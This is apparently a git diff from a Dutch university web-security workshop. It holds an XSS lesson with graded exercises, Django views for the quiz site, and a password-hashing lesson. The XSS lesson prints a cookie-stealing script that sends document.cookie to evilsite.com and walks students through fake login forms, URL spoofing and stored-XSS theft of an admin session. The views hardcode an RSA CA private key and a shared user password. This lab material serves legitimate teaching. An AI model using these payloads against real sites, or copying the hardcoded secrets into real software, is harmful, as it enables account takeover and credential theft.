c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
a = addUnsigned(a, AA);
b = addUnsigned(b, BB);
c = addUnsigned(c, CC);
d = addUnsigned(d, DD);
}
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
return temp.toLowerCase();
}
</script>
{% endblock %}

@ -0,0 +1,212 @@
{% extends "base.html" %}
{% block content %}
<style>
.screenshot {
box-shadow: 0 0 15px #888;
}
figure {
float: right;
width: 30%;
}
figure img {
}
figcaption {
margin-top: 10px;
font-size: smaller;
color: gray;
text-align: center;
}
</style>
<h1>Cross-site Scripting</h1>
<figure>
<img src="/static/img/rabobank.png" class="screenshot">
<figcaption>Iemand heeft <i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
</figure>
<p>Deze week gaan we kijken naar cross-site scripting, op het web zie je dit vaak afgekort als <b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de &lt;script&gt; tag kan toevoegen is er sprake van een XSS aanval.</p>
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
<h3>Reflected</h3>
<figure>
<img class="screenshot" src="/static/img/zoekterm.png">
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
</figure>
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als op de webpagina zelf.</p>
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken. Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet. The perfect crime!</p>
<h3>Stored</h3>
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's). En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n 90% van alle websites). Als de site niet goed beveiligd is kan je in de database &lt;script&gt; tags met Javascript opslaan die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
<h3>Aanvallen</h3>
<h4>HTML toevoegen</h4>
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan een &lt;form&gt; die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
<h4>Javascript toevoegen</h4>
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele &lt;script&gt; tag toe te voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
<p><code>&lt;script&gt;document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;&lt;/script&gt;</code></p>
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
<h3>Countermeasures</h3>
<p>De belangrijkste regel bij websecurity is: <b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die je weer weergeeft op de pagina te <b>escapen</b>.</p>
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities. <code>&quot;</code> wordt dan bijvoorbeeld <code>&amp;quot;</code> en <code>&lt;</code> wordt <code>&amp;lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
<p><code>&lt;script&gt;<b>gebruikersinvoer hier</b>&lt;/script&gt;</p></code>
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een bepaalde waarde te zetten.</p>
<h1>Opdrachten</h1>
<p>Als je geen eigen site hebt mag je voor de opdrachten waar je informatie moet doorsturen naar een eigen site aannemen dat http://evil.avans.nl/ jouw site is (met uitzondering van de Nieuws opdracht).</p>
<p>Voor de nieuws opdracht heb je een eigen website nodig. Als je niet een eigen website hebt kan je natuurlijk ook gebruik maken van de student.aii.avans.nl webruimte. Maar wellicht heb je al XAMPP of LAMP of WAMP ge&iuml;nstalleerd.</p>
<h2>Bank</h2>
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze nog steeds niet veilig van hun beveiligingsproblemen.</p>
<p>Ga naar de <span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
<div class="question">
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
{% include "points.html" with points=answers.answer_xss_add_alert.points max="5" %}
<input class="question-input" type="url" name="answer_xss_add_alert" value="{{answers.answer_xss_add_alert.string}}">
</div>
<div class="question">
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar jouw eigen website verstuurd! Je hoeft informatie nog niet op te vangen. Dat doe je straks wel!</span>
{% include "points.html" with points=answers.answer_xss_fake_form.points max="10" %}
<input class="question-input" type="url" name="answer_xss_fake_form" value="{{answers.answer_xss_fake_form.string}}">
</div>
<div class="question">
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
{% include "points.html" with points=answers.answer_xss_fix_bank.points max="10" %}
<textarea class="question-input" name="answer_xss_fix_bank">{{answers.answer_xss_fix_bank.string}}</textarea>
</div>
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
<p class="hint"><strong>Hint:</strong> Zoek eens naar <code>window.history.pushState</code>.</p>
<div class="question">
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina komt te staan.</span>
{% include "points.html" with points=answers.answer_xss_fake_form_fake_url.points max="10" %}
<input class="question-input" type="url" name="answer_xss_fake_form_fake_url" value="{{answers.answer_xss_fake_form_fake_url.string}}">
</div>
<h2>Webshop</h2>
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site <span class="website">"Webshop (replace)"</span>.</p>
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
<p class="hint"><strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
<p class="hint"><strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
<p class="hint"><strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
<p class="hint"><strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
<p class="hint"><strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt gebruiken moet je de url encoded versie gebruiken: %2B</p>
<div class="question">
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
{% include "points.html" with points=answers.answer_xss_url_redirect.points max="10" %}
<input class="question-input" type="url" name="answer_xss_url_redirect" value="{{answers.answer_xss_url_redirect.string}}">
</div>
<p class="hint"><strong>Hint:</strong> Op <a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a></p>
<div class="question">
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (&lt;&gt;"&amp;) zijn nu geëscapet. Maar het is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd. Let goed op de quotejes.</span>
{% include "points.html" with points=answers.answer_xss_url_redirect_escape.points max="10" %}
<input class="question-input" type="url" name="answer_xss_url_redirect_escape" value="{{answers.answer_xss_url_redirect_escape.string}}">
</div>
<div class="question">
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2. PHP aanpassen (lees documentatie op <a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
{% include "points.html" with points=answers.answer_xss_webshop_fix.points max="10" %}
<textarea class="question-input" name="answer_xss_webshop_fix">{{answers.answer_xss_webshop_fix.string}}</textarea>
</div>
<h2>Nieuws</h2>
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de <span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.</p>
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen server sturen om de opdracht te kunnen maken. Zet op een eigen website een scriptje die alle requests in een bestandje/database logt zodat je daar later de cookies kunt uitlezen. Voorbeeld: student.aii.avans.nl/ICT/pwagener/logcookie.php?PHPSESSID=2394fh3dk</p>
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
<div class="question">
<span class="question-string">Welke reactie heb je geplaatst waardoor je achter de cookie van de administrator kwam?</span>
{% include "points.html" with points=answers.answer_xss_news_reaction.points max="10" %}
<textarea class="question-input" name="answer_xss_news_reaction">{{answers.answer_xss_news_reaction.string}}</textarea>
</div>
<div class="question">
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
{% include "points.html" with points=answers.answer_xss_news_secret_code.points max="5" %}
<input class="question-input" name="answer_xss_news_secret_code" value="{{answers.answer_xss_news_secret_code.string}}">
</div>
<div class="question">
<span class="question-string">Plak het script dat je op je eigen website hebt gebruikt waarmee je de cookie van de admin hebt vastgelegd.</span>
{% include "points.html" with points=answers.answer_xss_news_script.points max="10" %}
<textarea class="question-input" name="answer_xss_news_script">{{answers.answer_xss_news_script.string}}</textarea>
</div>
<h2>Wereldwijs</h2>
<p>Ga naar de <span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen. Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
<p>Let op: In Firefox werkt deze hack niet</p>
<p class="hint"><strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
<p class="hint"><strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('&lt;div&gt;'). Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
<div class="question">
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
{% include "points.html" with points=answers.answer_xss_jquery.points max="10" %}
<input class="question-input" type="url" name="answer_xss_jquery" value="{{answers.answer_xss_jquery.string}}">
</div>
{% endblock %}

@ -0,0 +1,284 @@
from django.shortcuts import render
from django.http import HttpResponse
from django.http import HttpResponseRedirect
from django.http import HttpResponseNotFound
from django.views.decorators.csrf import csrf_exempt
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.models import User
from django.contrib import messages
from django.db import connection
from quiz.models import Answer, LetsEncryptChallenge
import oauth2 as oauth, cgi, json, base64, urlparse, subprocess
from oauth2_provider.views.generic import ProtectedResourceView
import securityquiz.secrets as secrets
import securityquiz.settings as settings
import datetime, pytz
AVANS_KEY = secrets.AVANS_KEY
AVANS_SECRET = secrets.AVANS_SECRET
REQUEST_TOKEN_URL = 'https://publicapi.avans.nl/oauth/request_token?oauth_callback=http://%s/callback'
ACCESS_TOKEN_URL = 'https://publicapi.avans.nl/oauth/access_token'
AUTHORIZE_URL = 'https://publicapi.avans.nl/oauth/saml.php?oauth_token=%s'
consumer = oauth.Consumer(AVANS_KEY, AVANS_SECRET)
client = oauth.Client(consumer)
@csrf_exempt
def git_pull(request):
output = subprocess.check_output(["git", "-C", "/var/www/sec1.aii.avans.nl", "pull"])
return HttpResponse(output)
def avans_login(request):
resp, content = client.request(REQUEST_TOKEN_URL % request.get_host(), "GET")
if resp['status'] != '200':
raise Exception("Invalid response from oauth")
request.session['request_token'] = dict(cgi.parse_qsl(content))
url = AUTHORIZE_URL % (request.session['request_token']['oauth_token'])
return HttpResponseRedirect(url)
def avans_callback(request):
token = oauth.Token(request.session['request_token']['oauth_token'], request.session['request_token']['oauth_token_secret'])
token.set_verifier(request.GET['oauth_verifier'])
client = oauth.Client(consumer, token)
resp, content = client.request(ACCESS_TOKEN_URL, "GET")
if resp['status'] != '200':
raise Exception("Invalid response from Avans.")
access_token = dict(cgi.parse_qsl(content))
token = oauth.Token(access_token['oauth_token'], access_token['oauth_token_secret'])
client = oauth.Client(consumer, token)
resp, content = client.request('https://publicapi.avans.nl/oauth/studentnummer/', 'GET')
data = json.loads(content)[0]
studentnummer = data['studentnummer']
inlognaam = data['inlognaam']
try:
user = User.objects.get(username=inlognaam)
except User.DoesNotExist:
user = User.objects.create_user(inlognaam, studentnummer, 'secret')
user = authenticate(username=inlognaam, password='secret')
login(request, user)
return HttpResponseRedirect('/')
def avans_logout(request):
logout(request)
return HttpResponse('Je bent nu uitgelogd... <a href="/">Opnieuw inloggen</a>')
@csrf_exempt
def save(request):
data = dict(urlparse.parse_qsl(base64.b64decode(request.body), True))
print data
save_data(data, request.user)
return HttpResponse('ok')
def save_data(data, user):
for key in data:
if key.startswith('answer'):
answer, created = Answer.objects.get_or_create(user=user, question=key)
if answer.string <> data[key]:
answer.string = data[key]
answer.submitted = pytz.utc.localize(datetime.datetime.utcnow())
answer.points = None
answer.comment = None
answer.save()
def home(request, url):
if not request.user.is_authenticated():
return avans_login(request)
if request.method == 'POST':
save_data(request.POST, request.user)
messages.add_message(request, messages.INFO, 'Je antwoorden zijn opgeslagen')
return HttpResponseRedirect('/' + url)
answers = Answer.objects.filter(user=request.user)
answers_dict = {}
for answer in answers:
answers_dict[answer.question] = {'string': answer.string, 'points': answer.points}
if url == 'sql' or url == '':
template = 'sql.html'
elif url == 'xss':
template = 'xss.html'
elif url == 'path':
template = 'path.html'
elif url == 'wachtwoorden':
template = 'wachtwoorden.html'
elif url == 'certificaten':
template = 'certificaten.html'
elif url == 'encryptie':
template = 'encryptie.html'
elif url == 'bonus':
template = 'bonus.html'
elif url == 'oauth':
template = 'oauth.html'
else:
return HttpResponseNotFound('404')
return render(request, template, {'answers': answers_dict})
class SecurityApi(ProtectedResourceView):
def get(self, request, *args, **kwargs):
return HttpResponse("Geheime code: abguvatgbfrrurerzbirnybat")
def letsencrypt(request):
template_vars = {}
if request.method == 'POST':
try:
challengeresponse = request.POST['challenge-response']
if challengeresponse.strip() == '':
raise Exception('Geen data opgegeven')
if not '.' in challengeresponse:
raise Exception('Verkeerde code opgegeven. De code die je moet opgeven is met een puntje er in.')
print challengeresponse.split('.')
if len(challengeresponse.split('.')) <> 2:
raise Exception('De code moet maar 1 puntje bevatten')
challenge, response = challengeresponse.split('.')
if len(challenge) < 40 or len(response) < 40:
raise Exception('De code is te kort')
expiry_date = pytz.utc.localize(datetime.datetime.utcnow() + datetime.timedelta(minutes=10))
challengeresponse, created = LetsEncryptChallenge.objects.get_or_create(challenge=challenge, defaults={
'response': response,
'expiry_date': expiry_date
})
challengeresponse.response = response
challengeresponse.expiry_date = expiry_date
challengeresponse.save()
template_vars['challenge'] = challenge
template_vars['response'] = response
except str as e:
template_vars['error'] = e.message
raise e
return render(request, 'letsencrypt.html', template_vars)
def letsencrypt_challenge(request, challenge):
try:
# Delete old challenges
LetsEncryptChallenge.objects.filter(expiry_date__lte=datetime.datetime.utcnow()).delete()
challengeresponse = LetsEncryptChallenge.objects.get(challenge=challenge)
response = HttpResponse(challengeresponse.challenge + "." + challengeresponse.response)
response['Content-Type'] = 'text/plain'
return response
except LetsEncryptChallenge.DoesNotExist:
return HttpResponseNotFound('404')
def sign(request):
if request.method == 'POST':
from OpenSSL import crypto
import time
ca_cert_file = """-----BEGIN CERTIFICATE-----
MIIEjzCCA3egAwIBAgIJAIyZIB4fbN2mMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYD
VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEUMBIGA1UEBxMLTG9zIEFuZ2Vs
ZXMxDzANBgNVBAoTBlNwYWNlWDEMMAoGA1UECxMDQ0VPMRIwEAYDVQQDEwlFbG9u
IE11c2sxHjAcBgkqhkiG9w0BCQEWD2Vsb25Ac3BhY2V4LmNvbTAeFw0xNTA1Mjgx
NjEyMjFaFw0yNTA1MjUxNjEyMjFaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMK
Q2FsaWZvcm5pYTEUMBIGA1UEBxMLTG9zIEFuZ2VsZXMxDzANBgNVBAoTBlNwYWNl
WDEMMAoGA1UECxMDQ0VPMRIwEAYDVQQDEwlFbG9uIE11c2sxHjAcBgkqhkiG9w0B
CQEWD2Vsb25Ac3BhY2V4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMWr64mMZDfWUuYmROz+FszmwjGZvFz0CGxiExHEAFfzZfF60Rts2Qm+o7cc
bZ/UtAaIgIve5WiWhQ5mqDoyECfuVOTcddWCrskLgLafoP6nPVdTDIXsPtsjtRuV
D1ptsduDVCeQkcKFUcfLd6QXJaOAYU20gb7FJ8KFUmJXn4HXg6BsZvu8grJgh51O
29JRw83I0FxzBZw4JSvETW968NexO+aliR/inK4GQQqk4joxuT6MSVsd+17ss6wn
WO1nUNxhSW3MQePrfphkQbNZn/l1T1MfN6XAs4P9boqgENHZ2WskGIeZ5g1I4MVE
WPFTZ8HwprCvybM8mneqVp/P+FcCAwEAAaOB8zCB8DAdBgNVHQ4EFgQUHvGJ8tZM
owfGFNeyuhsYq8JN/o8wgcAGA1UdIwSBuDCBtYAUHvGJ8tZMowfGFNeyuhsYq8JN
/o+hgZGkgY4wgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRQw
EgYDVQQHEwtMb3MgQW5nZWxlczEPMA0GA1UEChMGU3BhY2VYMQwwCgYDVQQLEwND
RU8xEjAQBgNVBAMTCUVsb24gTXVzazEeMBwGCSqGSIb3DQEJARYPZWxvbkBzcGFj
ZXguY29tggkAjJkgHh9s3aYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOC
AQEAfe9TXLrrwA/3xf85HB+i7CxaFNTmWZvsN2Ico9Ks1/Dt7eAB61ghHFIxCqHz
LQGa77wFAI5kgzv3TembXV1kHz4pGigPC6EkNEh0Kc2O3fwz6CryK7/OrjkElKEn
ti/9loLr8+rhQKF0c2NS3qiAoYsR/kkdBZ+niT+yXCIekpQNybfDT8WqDm4Rv2s+
u/6pZa7zZLLlORpxnuFfjjo+n/06b4+xHn+xvyGWijMcOqZdyhU0UjZ7OAW/ZEQp
3uvp8fso+Esov+Abl0Lxtr/Gk7utH/h0AD6vWJJwDlS65uqKBeuIOUoCAHy3oPH5
p+BxtuhS2Lv5g2jHRgIxVt22rg==
-----END CERTIFICATE-----
"""
ca_key_file = """-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAxavriYxkN9ZS5iZE7P4WzObCMZm8XPQIbGITEcQAV/Nl8XrR
G2zZCb6jtxxtn9S0BoiAi97laJaFDmaoOjIQJ+5U5Nx11YKuyQuAtp+g/qc9V1MM
hew+2yO1G5UPWm2x24NUJ5CRwoVRx8t3pBclo4BhTbSBvsUnwoVSYlefgdeDoGxm
+7yCsmCHnU7b0lHDzcjQXHMFnDglK8RNb3rw17E75qWJH+KcrgZBCqTiOjG5PoxJ
Wx37XuyzrCdY7WdQ3GFJbcxB4+t+mGRBs1mf+XVPUx83pcCzg/1uiqAQ0dnZayQY
h5nmDUjgxURY8VNnwfCmsK/Jszyad6pWn8/4VwIDAQABAoIBAHkzyOA17N0v1PS5
UlneEizg8QFouk5kcyXBnN+vxmYnH8LJA55FR27qLYgBLlZqHVhEKk2ZBiDy6fLC
jzPfrnhNclBBvR6FWpZ7LxjLF/QMp1f73BnhmUjUxB99bkSMLhnilJ8NzdHv3Q0c
fOdoKfPuq7rxivxl9tMW3ETgZTU+0dSeJH8ZkkcQblckNpqP//oWFpXYrgftgyR3
kM+uZya2kwaZ15XC2O1IXbvFVjppw4z/z8KMBc6azGrSFJ6xGkve+1KKBuVQ1Vpg
sFXBaKHoVG5NpGiwiBkbERkn1Jp+lgJkstDyzGtIVmhzT7g5+YIvXE5uWU/NVRDp
0n8n6UECgYEA/hgkUfJ/uVlORhkIyW+thG9VPO1k35BdOjw5f7xDN6DSyYNSRubi
q6F3KWW807fEubGYzXaTh5QCB9z+gUuVAtjo9Mb0RPBEyWwXFi0ynxLzNQxA692U
Id67JHVPK4gsgP7jZi8+pAbN3xSfRG1BXdsp+RUJdWNiaLeWOsHI+bMCgYEAxydy
enmg+dzz8qz6my9G9uH0dqoG8BHlwPp7h/vmSbhWAD4+BIGCHbGt2zk/Zh7w6PsQ
9nMrWSwAkStdpW0WLz/oNIijVN8dInlFnB3qq6o1t0Jrz2K4ngUN1PAA19Ft1s+r
VZpSM+uKViKKuthORNeVM0D3D3gfrisdAZAV7M0CgYBguef5mgqtECYP4S/LHsw7
Afa8vtILmPUkWhC5Y31jC8GyHF+Rxgq7szeddrEvF2G4HrdAX8dBcUJko+fuaEtN
Ti1AIQyTwbMtygvv0TzX+WrD4upD35GoYxVyh4Wf2LK4WE9QcuOxpTVxmnQWpFCh
3fBYdX2oRjEME/cIXwSWqQKBgEpc0WMn/VKvDSvlKSI+8fmHf3e7nyGPHUIEhZHO
HjwSp5Ipq5CVJxedW7SK2MBx9zSXYssTT/FY+9E45xu48tqruzG6f3pWYROZQsO7
a/+za6FFHOpwC019x59mCnqLib73BhvNproaTipBdZm04OzVrrFXpajSCspG8Oq/
eWBVAoGACI+4ROdYWCprQRgH2Qr5nKnRkN1mZzBl4hgodSGCZa3TWnBVHtXacluF
KJ8dp3ZgjiQ9aQujFD5oPnmSJ8wvJijF8ngEFw60+axRrWnUmejWkrexA1Hlv0Er
tq9DcELddZK2gJXaXpL1wOL+Ex5RzzRmjqKmmkkn1//ikn+nrZU=
-----END RSA PRIVATE KEY-----
"""
csr = crypto.load_certificate_request(crypto.FILETYPE_PEM, request.FILES['csr'].read())
ca_cert = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert_file)
ca_key = crypto.load_privatekey(crypto.FILETYPE_PEM, ca_key_file)
signed_cert = crypto.X509()
signed_cert.set_serial_number(1)
signed_cert.gmtime_adj_notBefore(0)
signed_cert.gmtime_adj_notAfter(60 * 60 * 24 * 365 * 5)
signed_cert.set_issuer(ca_cert.get_subject())
signed_cert.set_subject(csr.get_subject())
signed_cert.set_pubkey(csr.get_pubkey())
signed_cert.sign(ca_key, 'sha256')
response = HttpResponse(crypto.dump_certificate(crypto.FILETYPE_PEM, signed_cert), content_type='application/zip')
response['Content-Disposition'] = 'attachment; filename=signed-certificaat.crt'
return response
return render(request, 'sign.html')
def graderhelper(request):
cursor = connection.cursor()
if request.GET['mode'] == 'oauth_app':
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_application WHERE client_id = %s", [request.GET['answer']])
return HttpResponse(cursor.fetchone())
elif request.GET['mode'] == 'access_token':
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_accesstoken WHERE token = %s", [request.GET['answer']])
return HttpResponse(cursor.fetchone())
elif request.GET['mode'] == 'auth_code':
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_grant WHERE code = %s", [request.GET['answer']])
return HttpResponse(cursor.fetchone())
return HttpResponse('404')

@ -1,389 +0,0 @@
<h1>Wachtwoorden</h1>
<img src="/static/img/password.png" class="center-block">
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te
<b>hashen</b>.</p>
<h3>Hashfunctie</h3>
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 >
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op
dezelfde hash (brute-force).</p>
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij
hetzelfde wachtwoord ingevuld!</p>
<h3>Rainbow tables</h3>
<p>Zo moeilijk als het is om een hash terug te
<i>rekenen</i>, zo makkelijk is het om een hash terug
<i>
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a>
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze
aanval:</p>
<h3>Salt</h3>
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
<h1>Opdrachten</h1>
<div class="question">
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had
deze gebruiker?</span>
</div>
<div class="question">
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
</div>
<h2>Nieuws</h2>
